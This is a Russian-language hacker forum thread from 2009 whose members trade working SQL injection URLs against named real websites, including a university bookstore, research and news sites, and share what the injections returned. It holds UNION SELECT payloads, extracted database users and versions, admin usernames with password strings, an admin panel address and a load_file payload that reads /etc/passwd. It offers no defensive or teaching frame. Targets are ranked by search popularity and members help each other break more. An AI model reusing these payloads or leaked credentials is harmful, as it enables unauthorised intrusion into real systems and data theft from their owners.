SQL Инъекции

06.01.2009, 02:33

spherics

Участник форума

Регистрация: 14.01.2008

Сообщений: 174

С нами: 9644530

Репутация: 443

http://info.twtelecom.net/info.php?id=-2+union+select+1,concat_ws(0x3a3a,version(),user() ,database()),3--

5.0.22
info@localhost
info

http://www.allyth.com/page.php?lnkid=601111+union+select+1,2,3,4,5,conca t_ws(0x3a3a,version(),user(),database())--

5.0.67-community
almoonn_rfaah@localhost
almoonn_rfaah

http://www.sabeel.org/etemplate.php?id=-2+union+select+1,2,3,4,concat_ws(0x3a3a,version(), user(),database()),6,7,8,9,10,11,12,13--

5.0.45-community-nt
web@localhost
502401045_sabeel

http://www.ieeta.pt/sias/high_details.php?id=-98+union+select+1,2,concat_ws(0x3a3a,version(),use r(),database()),4,5,6--

PageRank = 7

4.0.26
licinio@srv1-ieeta.ieeta.pt
sias_extended

𝕏 Twitter Reddit Telegram Копировать ссылку

06.01.2009, 05:28

AkyHa_MaTaTa

Постоянный

Регистрация: 19.03.2007

Сообщений: 684

С нами: 10077446

Репутация: 1020

Цитата:

Сообщение от Gemini12

это пхп

Это не пхп, sql но в Limit - ничего не зделаешь.

Эдушный шоп ( пр 6 )

http://bookstore.juilliard.edu/pages/music_books.php?id=-823+union+select+1,concat_ws(0x2d2d2d,user,host,pa ssword,file_priv),333333+from+mysql.user--

есть пользователи с host % и file_priv Y ( tim:abs123), но открытых портов которые смахивали бы на Mysql не нашел.
Вот админы

http://bookstore.juilliard.edu/pages/music_books.php?id=-823+union+select+1,concat_ws(0x2f,username,passwor d,priv,email),3+from+users+where+priv=0x61646d696e--

chung

resto
jonsoons:54645464

Админка:
https://bookstore.juilliard.edu/admin/

Последний раз редактировалось AkyHa_MaTaTa; 06.01.2009 в 05:40..

06.01.2009, 05:52

-=Razor=-

Новичок

Регистрация: 20.12.2008

Сообщений: 24

С нами: 9152742

Репутация: 62

Цитата:

http://www.vfs.com/curriculum.php?id=3+union+select+1,2,3,unhex(hex(g roup_concat(table_name))),5+from+information_schem a.tables/*

5.0.22-standard-logvfscom_dbwebmaster@localhost
ТИЦ:160
PR:6

Цитата:

http://www.thisspartanlife.com/index.php?id=-999+union+select+1,concat_ws(char(32,45,32),%20ver sion(),user(),database()),3,4--

5.0.67-community - tsl_admin@localhost - tsl_admin

ТИЦ:30
PR:5
======

Цитата:

http://www.mmdb.ru/index.php?action=perf_by_genre&id_genre=-1033+union+select+1,version()/*

Version: 4.1.22-log
database: wwwmmdbusersru
user: mmdb@localhost

ТИЦ:40
PR: 5

06.01.2009, 07:29

vakula

Познающий

Регистрация: 20.01.2008

Сообщений: 44

С нами: 9634789

Репутация: 4

Держите может у кого получится....сам не смог ничё сделать
http://www.fcmetalurg.com/news/index.php?id=1350

06.01.2009, 07:43

spherics

Участник форума

Регистрация: 14.01.2008

Сообщений: 174

С нами: 9644530

Репутация: 443

Цитата:

Сообщение от vakula

Держите может у кого получится....сам не смог ничё сделать
http://www.fcmetalurg.com/news/index.php?id=1350

Там не нашел но тут да

http://www.fcmetalurg.com/club/about_team.php?tid=-5+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,versio n(),user(),database()),8,9,10,11,12,13,14,15,16,17 ,18,19--

Version:4.0.27-standard-log
User:fcmetalu_club@localhost
Database:fcme

06.01.2009, 07:46

sabe

Постоянный

Регистрация: 16.03.2007

Сообщений: 380

С нами: 10081287

Репутация: 568

Отправить сообщение для sabe с помощью AIM

Отправить сообщение для sabe с помощью Yahoo

Onestops.info - PR6 ~1.5к

Цитата:

http://www.onestops.info/category.php?cat_id=-10'+union+select+1,concat_ws(0x3a,table_name,table _schema),3+from+information_schema.columns+where+c olumn_name+like+'name'%23

5 ветка..

Metalstorm.ee - PR5 ~1к

Цитата:

http://www.metalstorm.ee/awards/categories.php?cat_id=-7+union+select+1,concat_ws(0x3a,table_name,table_s chema),3,4,5+from+information_schema.columns+where +column_name+like+0x70617373776f7264+limit+0,1/*

5 ветка..

Apricorn.com - PR5 ~1к

Цитата:

http://www.apricorn.com/products.php?cat_id=-52+union+select+1,2,3,version(),5,6,7,8,9,10,11,12 ,13,14,15,16/*

4 ветка..

Последний раз редактировалось sabe; 06.01.2009 в 07:51..

06.01.2009, 09:46

zenon2

Новичок

Регистрация: 25.10.2006

Сообщений: 10

С нами: 10285880

Репутация: 1

Народ если можно выложите пример где разрешено LOAD_FILE() в скуле. А то чтото перерыл кучу всего а так и ниразу не видел как это работает. Такой впечатление что чтото неправильно делаю потому как всегда резултат null.

Извините если offtop.

06.01.2009, 10:32

Iceangel_

Постоянный

Регистрация: 09.07.2006

Сообщений: 553

С нами: 10441826

Репутация: 1861

2 zenon2
понимаю тебя чел... у самого раньше такой же вопрос был...

Код:

http://www.abbotsfordinmotion.ca/news/general.php?id=-5307'+union+select+1,load_file('/etc/passwd'),3,4,5,6,7,8,9,10,11,12,13,14,15,16--%20'1

06.01.2009, 11:29

zenon2

Новичок

Регистрация: 25.10.2006

Сообщений: 10

С нами: 10285880

Репутация: 1

Цитата:

Сообщение от Iceangel_

2 zenon2
понимаю тебя чел... у самого раньше такой же вопрос был...

Код:

http://www.abbotsfordinmotion.ca/news/general.php?id=-5307'+union+select+1,load_file('/etc/passwd'),3,4,5,6,7,8,9,10,11,12,13,14,15,16--%20'1

спасибо

Хоть раз посмотрел

#10

06.01.2009, 11:43

z00MAN

Постоянный

Регистрация: 20.11.2008

Сообщений: 406

С нами: 9196401

Репутация: 930

Код:

http://filtr-s.ru/?b=content&id=-1+union+select+concat(user(),0x3a,version(),0x3a,da  tabase())--

user(): u23366@78.108.81.81
version(): 5.0.67
database(): b23366

Код:

http://www.teatrdoc.ru/plays.php?id=-30+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5--

user(): kinoteatr_mysql@194.85.92.114
version(): 4.1.22
database(): kinoteatr_td
тИЦ: 500
PR: 5

Код:

http://www.littlite.com/product.php?id=-30+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7--

user(): littlite@localhost
version(): 5.0.32-Debian_7etch8-log
database(): littlite
тИЦ: 10
PR: 4